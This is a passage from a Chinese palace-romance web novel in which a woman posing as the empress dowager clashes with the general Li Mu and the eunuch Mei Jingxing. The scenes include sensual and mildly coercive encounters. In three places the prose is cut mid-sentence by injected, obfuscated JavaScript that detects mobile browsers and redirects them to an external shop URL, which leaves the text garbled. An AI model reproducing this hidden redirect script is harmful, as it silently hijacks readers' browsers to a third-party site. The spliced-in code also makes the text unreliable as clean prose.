李穆愣住,表面冷冷清清,实则心里乐开了花,他只想静静看她如何“报答”自己。 朱凝眉把头凑在他的耳朵、脖子、肩膀、胸口处闻了闻。 皱了皱眉之后,又抓起他的手闻了闻。 “一身血味,难闻死了。杀大长公主是你亲自动手吗?我不是说过让你别动手吗?你怎么就不听呢?”她叹道:“你与澹儿本就有嫌隙,如今他更恨你了!” 李穆轻松将她捞在怀中,肘勾住她的腰,手掌往上,隔着一层衣服,握住了他最喜欢的那处。 朱凝眉红着脸轻声哼哼,本就因来了月事而酸胀,如今被他那双粗粝的手揉搓之后,更加难受。 她想逃,已经来不及。 狼入虎口,焉得生还? 李穆情不自禁,低头去寻她的唇。朱凝眉见不得他太得意,不愿让他得手,侧着头躲开。 她怎能躲得过?李穆擒住了她的唇,惩罚似的轻轻一咬,但他咬得很轻,不会像她那么狠心,每次都把他咬出血! “什么时候学会了谎话张口就来!看我怎么罚你。”李穆气息微喘,用强势且霸道的力度吮吸着她的唇和舌。一只手隔着衣服攥住柔软,一只手死死箍住她的腰,不肯让她逃。 他知道这不是最好的时机,他也知道,应该先打开她的心,再与她亲密! 可他就是忍不住。 淡绿的襦裙与黑色襕衫纠缠不清,朱凝眉被他吻得头昏脑涨,却又牢牢记住,他刚才骂自己说谎。 她害怕假太后的身份曝光,完不成哥哥的交代,连累全家受辱。 这点微弱的情欲无法动摇她的理智。 朱凝眉与他呼吸纠缠,唇齿交接,也在心里猜想,他究竟知道什么了? 她被李穆吻得气短,差点晕厥。李穆见她呼吸越来越微弱,只得依依不舍地放开她。 朱凝眉趁机抱怨:“轻点,你抓得我痛死了!” 李穆恋恋不舍地把手抽出来,道:“都怪我的手不听我使唤,它太舒服了,忍不住这样做!可谁叫你生得这样好?” “手不听使唤,就砍了吧。” “不,我说错了,不是我的手不听使唤,是我自己想这么做的。” “呸,禽兽——你轻点捏。” “是,在你面前,我只想当个禽兽!” 朱凝眉呸他一声,主动去寻他的唇。 趁他意乱情迷,报复似得狠狠捏住他腰间软肉。 “娘娘才给了微臣几分好颜色,怎么又生气了?” “谁让你怪我说谎,我骗你什么了!” 她眼一瞪,娇媚俏丽,有种说不出的风情。 李穆爱惨了她微怒时抿着的唇,鼓起来的脸。 “你说我身上有血味道!”李穆笑道:“我回家洗澡换衣裳才进宫,你是狗鼻子吗?怎能闻到血腥味?” “直觉!”朱凝眉恶狠狠地看着他,不肯叫他看出自己的心虚,强词夺理道:“就像冬天的雪,你能说它是没有气味的吗?你身上的血腥味,让我头皮发麻,心里害怕!” 李穆哑口无言,冬日之雪,是一种冷冽的味道! 想到她能感知自己身上的杀气,能在感知到杀气的同时主动坐到他怀里,李穆心里对她更加怜爱。 李穆抱着她,亲亲她的额头,道:“今日你在陛下面前维护我的那番话,我都听到了!我本以为你和陛下一样,把我当作乱臣贼子,我没想到,你居然知道了我的难处,你居然在心疼我!我什么都不求了,我此刻便是死了也高兴。” 朱凝眉肩膀微微一颤,又开始疑神疑鬼起来,他到底听到了多少?他会不会从她和陛下的对话中发现她的破绽? 朱凝眉哼哼道:“我哪怕是养一只狗,养久了也会有感情的!” 李穆不介意,只要她心里有自己,他愿意给她当狗! 见李穆双目含情,笑得痴傻的模样,朱凝眉心想,便是此刻,她该为自己谋条后路。 “李穆,若有一日,你发现自己被我欺骗,会不会气得想杀了我?”朱凝眉认真道:“若有那一日,我希望你记得我今日对你的好,不要杀我,不要折磨我!” “你能骗我什么呢?”李穆盯着她的唇,吞咽了一下,耐心听她把话说完。 “若我是个男子呢?若有一日,你发现我其实是个男子,你会不会被我气死,会不会认为自己受到了莫大的羞辱,杀了我还不够,甚至想要杀了我的家人,甚至还将我的祖宗挖出来锉骨扬灰!” 如今,朱凝眉已经知道了李穆发疯的缘由,也知道该如何治住他的疯病。 入宫之前,她和兄长都对李穆有误解,以为他是这种恨起来会挖人祖坟的疯子。 他狠,是因为他要面对比他更狠的敌人,他必须狠。 可理解归理解,她还是更想从李穆这里得到一个承诺,护住自己的家人不受牵连。 李穆虎视眈眈,朱凝眉趴在他胸口,死死搂住他的腰,限制住他的行动。 李穆哪里会受她挟制,拎着她的后衣领,把她轻松提起来,往上拎,一口气吻住她的唇。 “你还要亲多久?我的嘴都被你亲麻了!”朱凝眉趁着换气的间隙,推开他,埋怨起来:“我们就不能坐下来好好说会儿话吗?你简直像一条发情的公狗。” 李穆趁机嘲笑她:“你主动坐到我的腿上,不就是给我亲的吗?” 朱凝眉顿住,羞得脸通红,狠狠瞪了他一眼! 无论李穆怎么用力扣住她的腰,她都要走。 李穆知道她性子多刚烈,看着她额头上的疤痕,深深叹了口气,她挣扎得太厉害,李穆怕她伤了自己,连忙说:“我错了,祖宗,我不该那样说!不是你主动,是我太禽兽——别动了,我答应你,不亲你了,我们就这样好好说会儿话。” 朱凝眉在挣扎间,无意中触碰了禁区,感受到他身体的明显变化,臀下那根树枝已经着了火似的,可他却一脸正经的神色。 “你还没答应我,将来若我做了对不起你的事,你恼我一人便是,千万不要迁怒我的家人。” “好,我答应你。” “你答应我,以后不能再骂榕姐是野种。” “好,我答应你。” “还有,大长公主究竟跟你说了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683790|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?你不许卖关子!” “她说,有个孩子的事想告诉我……” “她知道榕姐是我的孩子了!在拿这件事来要挟我。” “我猜到了。”李穆笑了笑:“看你这么紧张,我就知道大长公主所谓的秘密跟那野——跟你侄女有关。” 好险!死嘴终于追上了脑子。 朱凝眉瞪了他一眼,继续试探道:“那日大长公主来我寝殿,猜到榕姐是你的孩子。我既没承认,也没有否认,让她有证据只管拿出来。” 李穆见她神色凝重,还在纠缠着大长公主的秘密,终于不忍心再吓唬她。 李穆坦诚道:“我没有给她说出口的机会,既然是秘密,就让它永远成为秘密!除非有朝一日,你认为我可以知道这个秘密。” 朱凝眉盯着他俊俏的脸颊,漆黑的双眸,她心跳加速。 至少有一个瞬间,她忘记了过往的恩怨。 她的心,又一次不争气地为他而沉沦。 但她很快清醒过来,李穆爱的人是姐姐,不是她。她觉得自己像小偷,窃了属于姐姐的东西。她觉得自己像个骗子,骗了李穆的爱。 可是那又怎样,她是被众人推着来当这假太后。 她是苦主,她先被李穆伤得鲜血淋漓,如今又主动送到他面前,被他伤第二次。 李穆见她眼神充满痛苦,以为她在为自己而难过,于是更加悲愤地道:“我也是人,我也希望有人能关心我!可我心里的苦,无人能诉。” 朱凝眉靠在他怀里,重复着他的话:“我心里的苦,也无人能诉。”顿了顿,她又道:“但只要活着,活下去,总能遇到开心的事。” 刚把榕姐送走的那一阵,她觉得生不如死,吃饭的时候吞咽会痛,走路时双腿疼痛,抬手时手臂酸痛。就连夜里躺在床上睡不着时,喘口气都是痛的。 后来,她开始帮着师兄照顾病人,空荡荡的心被各种杂事填满。痛的地方,有了新的东西填进去,就会慢慢滋长出血肉,伤口愈合,疼痛渐渐减轻。 也许不是不疼,是她习惯了疼。 再疼也得好好活着! 这些年,她给人办丧事,见多了生死,对“活着”“活下去”几个字看得很重。 再痛再难,好歹还有知觉。死了就只能埋在那层薄薄的土里面,与世间所有事都不再相干。 “你说得对,我这不是终于等到先帝去世,重新得到了你吗?”李穆叹道:“你消失的那三个月,我每夜入梦中与先帝吵架,骂他不该将这烂摊子交给我。我宁可留在吃土饮沙的北疆,落个马革裹尸的下场,也不愿留在这乌烟瘴气的京城!” 李穆亲亲她的额头,道:“你不用替我难过,有你替我委屈,我还委屈什么呢!看在我这么可怜的分上,你多疼疼我吧。” 李穆贼心不死,手又开始乱来。这次他动作温柔,轻松挑起她的情欲。 臭男人!朱凝眉不愿沉沦于此。 趁他放松,从他怀里挣脱。逃走时,身上的襦裙都差点被他扯烂。 李穆正要抓她,忽然,外面有人禀报:“侯爷,夫人差人来信,说世子生病,病情严重。夫人着急,束手无策,请您回府主持大局。” 就这么一句话,冲散所有旖旎。 李穆不知为何生出一种愧疚,不敢再抬头看她。 37. 第 37 章 李穆愧疚的眼神刺痛朱凝眉。 他在愧疚什么? 愧疚于他分明有妻有子,还要来招惹自己吗?臭不要脸的东西! 不过,朱凝眉从他愧疚的神情中找到了突破口,重新占据上风。 大长公主已死,李穆不知那个秘密,她又何必再屈从李穆? 念起,她这口气顺下去。 清凉冰爽从鼻息通到五脏六腑,扩散至四肢百骸。 连日来被月事折磨、被大长公主恐吓、被李穆纠缠的憋屈在这瞬间化为乌有。 此刻,她全身上下,只剩舒坦! 因羞赧和憋屈都消散,她眼神里隐隐冒着算计的光,脸颊也因即将发生的事泛着红光。 “世子生病了,忠勇侯快回去吧!” 朱凝眉理了理被他撕破的衣裳,从从容容坐下。 李穆只从她语气里听到了生疏,仿佛她刚才的情动是假的,她在陛下面前维护他也是假的。 她又带上那层冷漠的面具,可他偏偏要将她的假面具撕碎。 李穆走到她身边,攥紧她的手腕,解释道:“我跟夫人没有感情,她是你妹妹的贴身侍女,我当时刚好需要一个妻子,就顺便娶了她而已。我心里最爱的人是你!” “常言道,妻不如妾,妾不如偷。与太后偷情,趣味更甚。”朱凝眉抬起另一只手,在李穆脸上轻轻摩梭,唇角扬起讽刺的笑:“忠勇侯最爱的,恐怕是自己。” “你怎么能说出这种话?” “你希望我说什么?难道你想让我当个蛇蝎心肠的女子,劝你把那手足无措的妻子和重病的孩子杀了?然后我就能独占你,往后再与你偷情,也不用担心你被人叫走?” “不,这不是你的真心话!”李穆笃定她在故意气自己,但他拿不准她为何生气,只能对她坦诚再坦诚,企图用真诚来打动她:“你方才还在陛下面前为我说话,你心里分明也有我。你比任何人都了解我!” 他这副赤诚的模样,令朱凝眉再次想起新婚夜,李穆掀起她的盖头,一脸真诚地道:“我李穆今生今世,只爱朱凝眉一人,若违此誓,天打雷劈。” 她心里欢喜极了,于是忍着痛,陪他胡闹至天明。 在他们完全融为一体的时,朱凝眉抱着李穆宽厚的背脊,心想,今生今世,便是和他一起死了也愿意。 她因为太欢喜而睡不着,看着他的睡容,脸贴在他胸口,听到他在梦里流泪呼唤着“雪梅”“雪梅”。 当年她不懂。 时至今日,朱凝梅已相信李穆当时的誓言是真,当时他想抛弃过去,和她好好过日子。 那句誓言,既是他对她的承诺,也是他想斩断过往情愫的决心。 可人怎么能控制自己的感情呢?李穆做不到的。 就如此刻,她分明已经知道,她不应该再爱李穆,可她的心还是会不止一次为他跳动。 “你攥疼我了。”朱凝眉娇嗔着埋怨,李穆便松开手。 朱凝眉退后两步,走至窗边,看着窗外枝繁叶茂的海棠树,道:“你看那棵树,若它长在宫廷外,它就只是一颗普通的树。可因为太后喜欢海棠花,它长在太后的寝殿里,就成了一颗金贵的树。我想,若树能开口说话,它会骂脏话,老子宁可不被太后喜欢,也要自由畅快地长在广阔地森林里,想长多大就长多大,想长多高就多高。” 李穆走到她身旁,看着窗外的树,看了半天都没明白她心里在想什么。 “你点人能听懂的话!我是大老粗,没读过多少书,你说太深了!” 朱凝眉转身,看着他,淡淡道:“我崇拜的是保家护国的李穆,是在战场上英勇杀敌的李穆,是为了报答先帝知遇之恩自愿背负污名的李穆。而不是执着于男女小情小爱中的李穆!” 李穆听到她崇拜自己,乐得脸上笑开了花:“你说的不都是我吗?有什么不同?” “保家护国的李穆,是英雄!可是你在我眼里,活像个瓢客。我看着你的眼睛,看到了你眼中的我,我讨厌自己像个被迫接客的风尘女。你看我时,那贪婪的眼神,让我觉得自己很廉价。” 李穆没办法解释这种事,他并非贪图美色之辈。这些年,多少女子主动往他身上扑,他都没有心动。 他讨厌那些主动向他献媚的女子,只觉得她们都不够庄重,多看一眼都心烦! 可她和旁人不一样,他喜欢看她勾引自己,他喜欢看她羞怯的表情,更爱看她生气的模样,喜欢她眼睛里只看得到他。 “你不是旁人,你是朱雪梅。我心里不想着你,早就死在了战场上,我压根就活不到今日!”李穆道:“在我心里,你是天上的月,我是地上的泥。你怎么会廉价呢?” “就因为你在战场上受了苦,你就必须找个人来弥补吗?朱雪梅凭什么要弥补你过去受过的苦?你的妻子和孩子凭什么为你作出牺牲?你受过苦,就要让他人也尝一尝你的苦吗?” 朱凝梅趁机说出自己心中的隐痛:“那我妹妹朱凝眉在你身上受的苦呢?你心里爱的分明是朱雪梅,却要娶朱凝梅为妻!我现在告诉你,她离开你,不是因为她嫌弃你是大老粗,而是因为你在新婚圆房夜念着我的名字。哪怕是为了我妹妹,我也不可能和你在一起!” 李穆身上的遮羞布,被她扯了下来,不由得怒从心起,口不择言道:“我知道,你想卸磨杀驴!你哄着我把长公主杀了,就想摆脱我!我告诉你,绝无可能。无论将来如何,至少我现在不用顾忌任何人,我想怎么样就怎么样!这是先帝给我的权力!就连你也是先帝留给我的补偿!” “我从来没有求你杀她,我反而一直劝你别杀她。人是你自己杀的,现在又来怪我?”朱凝梅语气无辜,心里却在嘲笑李穆太傻太天真。 李穆,谁让你这么笨呢? 我不算计你,算计谁? 昔日我爱你的时候,满腔爱你被你辜负。如今我也要让你尝尝爱意被人辜负的滋味! “李穆,你自己心眼小,就别觉得全天下人都跟你一样心眼小。” “你以为没了大长公主,你就没别的把柄在我手里了吗?别忘了,你还有个妹妹。你妹妹朱凝眉,曾让我成为全京城的笑话!听说如今她与她的夫婿、孩子一家其乐融融,而我却是没人要的孤家寡人!我不舍得动你,还不能动她?你让我过得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704064|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舒服,我就不会让她舒服。反正我心眼小,心眼脏,没人看得上我,我当然是想怎么舒服就怎么来!” 他这一番对比,把朱凝眉委屈得眼泪都快冒出来,偏偏风吹来,让她忍不住打了个喷嚏,眼泪再也不受控制的掉落。 “你,你简直无耻!” 朱雪梅是他的心头肉,他碰一下都心疼。 他在朱雪梅这里受了委屈,就要去作践朱凝眉,凭什么! “不是你先把我冤枉成无耻的人吗?我不无耻一番,岂非对不住你的冤枉?”李穆说完,便要脱衣服。 朱凝眉听到这番无耻之极的话,被他气哭,如今见他脱衣服,便以为他现在生气,想要胡来。 “我月事还没走干净,你别过来!李穆,你别这样,我害怕——我现在肚子疼。” 任凭她哭得多可怜,都无法阻止李穆的动作。 无可奈何之下,她只能抱着双臂,瑟缩在一旁。 李穆见她害怕得瑟瑟发抖的模样,心里又气又恨,恨她狠心,恨她无情,又恨她太脆弱。 她喜欢挑衅,激得他动了怒,又害怕成这样! 何苦呢? 像刚才那样,好好坐下来跟他说话,不好吗? 朱凝眉已经被眼泪糊住视线,只见李穆从一片模糊中走来,把衣服盖在了身上,终于明白他不是要对自己胡来,他是怕她冷,才脱下自己的衣服给她穿。 李穆把衣服盖在朱凝眉身上,不再同她多说一句,穿着中衣转身离去。 走到院中,即将出门时,忽然又被梅景行拦住。 梅景行问:“侯爷难道要穿着中衣从安宁宫走出去吗?旁人会怎样看太后?” 李穆瞪着双眼,如金刚怒目。 梅景行低头,不敢直视。 须臾,头顶传来李穆的声音:“把你的皮扒了!” 梅景行无奈,只能把自己的衣裳脱下,交给李穆。 李穆利利索索地穿上梅景行的衣裳,扬长而去! 朱凝眉迅速换了身衣裳,捧着李穆的衣服追出来,可李穆走得快,她追不上。 朱凝眉顿珠脚步,见梅景行衣衫不整地站在院子里,一脸讪讪地道:“他把你衣裳穿走了,要不然,你就穿他的衣裳吧。” “谢娘娘关心,可奴才若是穿了他的衣裳,身上这身皮只怕真的保不住了。” 朱凝眉点点头,道:“快吩咐底下的人去给你取件衣裳来吧,你来找我有事吗?” 梅景行躬身道:“奴才此次前来,是想向娘娘禀报,秦王不经宣召,离开封地。如今人已在城外等候,只等着进京拜见陛下,看望大长公主。如今大长公主刚去世,陛下正是伤心时,此番秦王入京,正好能抚慰陛下失去亲人的伤痛。” “你怎么不早说?你早说我刚才便不会罪他!”朱凝眉额角一阵阵的跳,她方才对他说尽了狠话,现在怎么能拉下脸面去求他。 “我知道,按理轮不到我这个假太后来问这句!可你既要让我哄着李穆同意秦王入京,就应该告诉我,先帝到底有什么把柄落在秦王手中?不然李穆问我时,我完全一头雾水,不知如何应对!” 38. 第 38 章 朱凝眉目光安静,一双灵秀的眉眼,看不出任何愠色。 如清溪中的月影,清辉已被激荡的流水冲走,被水冲刷过的石头上却还留着残余的波光。 夏日阴凉处,只着一身中衣的梅景行,不由得心尖一颤。 她好像,在生闷气? 可她从来都是客客气气的,一副笑脸,好脾气的模样。这还是她入宫后,第一次对自己发脾气。 “去里面说吧!”她把纤细白皙的手伸出来,搭在他手上,纤腰袅袅,莲步婀娜地走进寝殿。 梅景行不愿叫她失望,只能简单扼要、言简意赅地把她想知道的事,说了出来。 首先,秦王必须入京给大长公主送葬。若不让他来,秦王回去后,就有理由打着清君侧的名义造反。 其次,国库里没钱了。朝廷穷,不能跟秦王打仗。北疆之邻虎视眈眈。内乱若起,北疆定会大乱。 最后,秦王入京,目的不是探亲,他是来要钱的。 昔日李穆收复北疆的军费,是先帝找秦王借的。 先帝一直还不上这笔钱,也不打算还。李穆也想赖了这笔账,秦王这才急了,匆匆进京来要个说法。 夏日凉风卷得树枝往上扬,已近黄昏,夕阳染红云峰,金色的云层像滚滚涌动的滔滔江水,她刚换上的这件襦裙,也镶着金边。 朱凝眉望着绣工精美的襦裙,只觉得它像一件华丽的囚服,不如灰扑扑的道袍穿着自在。 她忽然很想回上大甲。 道观里的日子虽清贫,但她无拘无束,凡事不用动脑,日出而作,日落而息,像山间自由飞翔的鹤。 可姐姐忽然离宫,把这堆烂摊子扔下没人管,她只能硬着头皮顶上。 前半个月,她的日子过得战战兢兢,每日提心吊胆。半个月后,她忽然得心应手起来,李穆也被她用得趁手极了。 唯一的痛处,就是得看着李穆那张脸强颜欢笑。她想起他就恨,很不得咬得他满脸是血。可是如今能把控这混乱局面的人,只有李穆。而唯一能把控住李穆的人,是朱雪梅! 她当了一段时间的太后,有时候甚至会忘记她是朱凝眉,真正把自己当成了朱雪梅。这才是她最最心烦之处。 到头来,万事成全了别人,却把自己的心丢了! 她得仔细考虑接下来的事,外面的小太监,已经把梅景行的衣服取来,正在殿外等着。 朱凝眉懒懒地对梅景行挥挥手,柔弱温婉的声音里,似有些不耐烦:“你回去吧。我只答应过兄长,帮他保护陛下不被李穆杀死,我现在做到了对兄长的承诺。至于其他的,我既没能力做到,便不能在你面前夸下海口。” 梅景行弯着腰,给朱凝眉斟茶,笑道:“难道娘娘忍心看着陛下亲政够,李穆被陛下处死?” “他死不死跟我有什么关系?他最好现在就死,省得一天到晚地来找我麻烦。”一提起李穆,她便像换了个人,声音激动,语气里透着她自己都没有发现的嚣张跋扈。 全天下,也只有她敢用这种语气跟李穆说话,便是将来真太后回了宫,怕也不敢如她这般着对李穆横挑鼻子竖挑眼。 梅景行走后,朱凝眉把李穆的衣服扔在地上,狠狠踩了两脚,算是稍稍给自己出了两口气。 已是暮云合璧,夜色降临时分。 悦容挂念着她从早上到现在,就吃了半碗百合银耳羹,担心她肚子饿,赶紧叫宫女们给她摆饭。 “娘娘,用膳吧。” “吃不下,不吃了!”朱凝眉气若游丝,满脸愁容。 悦容知道她的心病,笑道:“娘娘若是心里不痛快,不如此刻便去忠勇侯府,将他打一顿出气?” “这倒是个好主意!” 朱凝眉眼睛一亮,脸上不复愁苦之色。 虽然,悦容的主意令人心动,可朱凝眉还是有所顾虑,此刻眼巴巴去找李穆,总显得她心虚,像是刻意去求他! 得想个办法,让李穆主动跪到她面前认错。 罢了,暂时想不出,朱凝眉长叹一口气,道:“还是先用膳吧!” 用过膳,天色已晚。 朱凝眉又让悦容把梅景行叫来安宁宫寝殿。 她自己想不出好办法,只能把问题抛回给梅景行。 她现在是太后,不是苦巴巴的小道士,凡事得亲历亲为。当太后,就是要安安稳稳坐守安宁宫,吩咐底下人去干活。 梅景行很快便来了。 朱凝眉饮着茶,慢悠悠道:“你想个办法,让李穆主动来向我求饶!” 梅景行笑道:“奴才这就去禀告忠勇侯,说娘娘被他气病了,让他入宫来跪着给娘娘谢罪?” “不行,这是个馊主意。还有没有更好的法子?”朱凝抿了抿唇,道:“不能让他觉得,我有求于他!” “娘娘可去探望生病的忠勇侯世子,到了忠勇侯府,再见机行事?李穆素来便对娘娘不敬,娘娘总能揪住他的错处,找到罚他的理由!”梅景行见她分明脸上气鼓鼓的,却还要扮作一脸高深莫测的样子,便觉得她十分可爱。 朱凝眉认真想了想,道:“你提醒我了,忠勇侯世子生病,本宫是应该派人去探望,你去吧!顺便再替本宫去大长公主府,给已逝的大长公主上一柱香。” 梅景行诧异:“娘娘不亲自去探病?” “我是太后,她是大长公主,我去给她吊唁,岂非自降身份。让你替我去,还是为了顾念陛下的颜面。再说,我若去了忠勇侯府探望小世子,不去大长公主府吊唁,不是会人觉得我厚此薄彼,让陛下蒙羞吗?” 梅景行仔细品了品她说的话,虽不无道理,却不像是她能说出来的,不由得露出诧异的笑。 谁知正是这抹笑,惹恼了朱凝眉,朱凝眉忍他一天了。 朱凝眉盯着梅景行,越看他越不顺眼,忍不住对他骂道:“从我入宫第一日起,你就想把我当成礼物送给李穆,讨好他!你表面对我恭恭敬敬,实则只是把我看作是讨好李穆的玩物。” 她狠狠地骂他,眼中的水气渐渐聚拢。 “我压根不在乎你怎么想我,可我不能让我姐姐的名声被玷污,她是个把声誉看得比性命更重要的人。我诚心想护住小皇帝,诚心想让他成为一代明君。我以为真心可管真心,可你一直在利用我!” 说完这句,她眼底的水汽,已经聚成了湖。 “别以为我不知道,大长公主发现榕姐是李穆女儿的事情,是你告诉她的!你心里打着什么算盘,我都知道!我不傻。”微风吹拂,湖水荡漾,似要溢出来。 “我兄长把榕姐的身世告诉你,我把自己的伤口扒出来给你看,是为了让你替我在李穆面前遮掩,是想让你陪我一起唱好一点出戏!不是为了让你伤我。”说到此处,她已经哽咽了。 她放下茶盏,测过身子,擦了擦泪,平息之后才继续道:“那年你伺候先帝,住进朱家,被其他太监欺负,差点被人淹死在井里,是我救了你!我以为你总会念着那份情,对我稍微有几分真心,可我错了!你已经不是当年那个和我一起吃糖葫芦的小太监,你现在是位高权重的司礼监大总管。” 听完这番话,梅景行沉默了许久。 那些事,她居然都记得! “奴才明白了!奴才会护住娘娘,不让他靠近您!” “得了,合着我在这里说了半天,你是一点都没听明白。”朱凝眉揉了揉眉心,耐心解释:“我是修道之人,对贞洁并不看重,被他睡了,只当被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724464|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗咬一次罢了!但我不能让他白白得了便宜。我付出了什么,就要得到什么,我不能让自己付出的筹码得不到回馈!” 梅景行问:“奴婢不懂,娘娘可以明示。娘娘想让我做些什么?” “我没你那么多弯弯绕绕,我就是想让李穆主动来找我求和,然后我才能跟他提秦王的事。我知道自己说这句话有些托大,可我真的很想在姐姐回来之前,替她当好这个太后!”朱凝眉怕被梅景行误会,好像她还喜欢李穆似的,于是又多余地解释了一句:“于私,李穆是我的仇人,我想看他难受,让他尝一尝我曾经在他那里受过的苦!于公,李穆是英雄,陛下是明君,我不能让他们有误会和隔阂!” 梅景行只心疼她,被李穆伤过一次之后,又要被她伤一次。 李穆越是把太后放在心上,便越是伤她。 只希望她真的能把两件事,分得清清楚楚,而不是在其中来回拉扯。 “奴婢明白了,奴婢今晚便在安宁宫守夜。到了明日,消息便会传到李穆耳朵里,他自会忍不住主动来找娘娘。”梅景行只能用自己当饵,帮她把李穆这条鱼钓出来。 “行,这主意倒是不错!就是要辛苦你了。”从下午到现在,她脸上总算有了些笑脸。 不过她和梅景行清清白白,李穆便是来质问她,她也有话堵他! 想清楚之后,她便安安稳稳的睡了,梦里李穆自然是发疯似地跟她大吵大闹,而她冷眼看他发疯,完全不搭理他! 翌日清早,朱凝眉还没起床,就被外面的声音吵醒。 悦容道:“请侯爷在此稍等,太后娘娘还没醒来,等太后醒了,奴婢才能进去通报。” “行啊,我就在这里等着。有本事梅景行一辈子都别从里面出来,他若是敢出来,我一剑将他劈成两半。他居然敢在太后的寝殿里过夜,也不知抱着什么心思。” 悦容耐心解释:“梅公公昨夜未入太后寝殿,他和奴婢一起在殿外守着。太后昨夜做了噩梦,被梦魇住了,奴婢担心自己伺候不好太后,才把梅公公请来帮忙。” 李穆一想到她做了恶梦之后,双眼噙着泪,楚楚可怜地扑在梅景行怀里撒娇的画面,更是气不打一出来。 “你为什么去请梅景行?不能叫我入宫吗?”李穆说完这句,便看到她仅着一袭中衣,身上披着件薄披风,袅袅婷婷地站在门口,冷冷道:“你还嫌给我丢人丢得不够?还要在这里犬吠多久?有什么话,还不快滚进来说。” 李穆被她冰凉的眼神刺痛,疼痛从心底蔓延至喉咙,又继续吞咽下去,扩散至身体各处。 这个没良心的女子,他如此爱她,可她遇到事,只会想起梅景行。她眼底除了梅景行,再也看不到旁人。他难道连一个太监都不如? 朱凝眉淡淡看他一眼,扔下他不管,转身往里去。 李穆站在门外,犹豫着不知该进还是不该进。他怕自己走进去,看到梅景行躺在她的榻上。他害怕在她的寝殿里,闻到别的男子身上的气息。他怕自己忍不住愤怒,在她面前把剑杀人,让她对自己原来越害怕。 今早听到侍卫说,梅景行在她寝殿里待了一整夜,他气急攻心,差点吐血。 输给先帝,他认了,毕竟先帝认识她在先,且先帝又是那样的谦谦君子。 可是输给一个太监,叫他如何能咽下这口气?他不如此刻便那剑自刎,省得活着丢人现眼。 就在他犹豫着不肯踏足寝殿时,朱凝眉已经穿好衣裳,简单梳妆打扮了下。她见李穆没有走进来,又跑出来看,只见他呆呆地站在门口,一双眼睛布满了血丝。那双充满杀气的眸子里,竟透着几分委屈。 他咬牙切齿道:“我不进去。让他出来,我保证不将他碎尸万段。” 39. 第 39 章 她不施粉黛,嫣然一笑,一双圆溜溜的眼睛看着他,却在轻轻叹息一声后,道:“我屋子里有二十几个男人,榻上躺着几个,榻边站着几个。” 她歪着头,想了想,道:“还有几个——我也不知此刻他们正在做什么。你究竟想让谁出来?” 朱凝眉这句话,犹如一盆满满的冰水浇在李穆身上,冻得他浑身上下透骨的寒凉。 他没有思考,只凭着一股怒气冲进屋里,想把她口中所说的二十几个男人都杀死,哪怕鲜血溅了满屋,吓得她浑身发颤。 他连自己都顾不上了,完全没有心力再想,该怎么做才能哄她高兴。 砰。 李穆用力踹开了寝殿内间的门。 寝殿的门不为防贼,只为透光、透气,取质偏向轻薄精美。但因李穆这一脚踹得过重,脆弱而精美的推拉门被他这一脚踹得四分五裂。 室内陈设映入眼帘,房中空无一人,榻上也没有所谓的男子。屋子里除了她身上那股淡淡的白薇香,再没有别的气味。 榻上的白色的小毯吸引了李穆的目光,毯子上有一块暗红色的血渍,榻侧还有她刚换下的脏衣服。 朱凝眉见他目光落在白色毯子上,连忙把毯子和衣服都折叠好,藏在被子里。 啪的一声,朱凝眉收拾好一切后,毫不犹豫地举起一巴掌扇在李穆脸上。 李穆没有躲。因为身高差距,朱凝眉就算举起手来扇他,也只能扇到他的下巴,为了让她的手掌准确无误地扇在他的脸上,他在看到她在举手的那个刹那,便微微低头。 李穆皮糙肉厚,被打了也不疼,反而露出笑容。 朱凝眉尤不解恨,举起手,想再扇李穆一巴掌,这回李穆握住她的手,没让她继续扇。 朱凝眉本就纤细瘦弱,白皙的皓腕落在他宽大粗糙的手掌中,用力挣扎,想挣脱又使不上力气,犹如被铁铸的牢笼禁锢。 她也曾满心欢喜、小心翼翼地追逐李穆,因为他的一句话而欢喜,因为他的注目而激动,甚至从兄嫂口中听到他的名字都满心雀跃不已。此刻,李穆眼中狂喜触怒了她。并再次提醒她,李穆有多爱朱凝眉。从前那种被欺骗、被愚弄、被轻视的痛苦,再次占据了她的心口,让她充满了愤怒。 她需要把自己心里的愤怒,先发泄出来,才能安心地继续扮演太后,哄好李穆,解决秦王入京的事。 “你要杀谁?”她冷笑着问:“怎么还不动手呢?屋子里这么多人,你看不到吗?” 李穆欢喜的眸子在明亮的寝殿里焕着熠熠的光,眉峰上的那道疤痕也随着他温柔的眼神变得柔和。 他深情款款地看了她一会儿,然后将她的手奉若珍宝似的碰到唇边,在她掌心落下一吻。见她面无表情,还伸出舌头,在她手掌心里舔了一下。 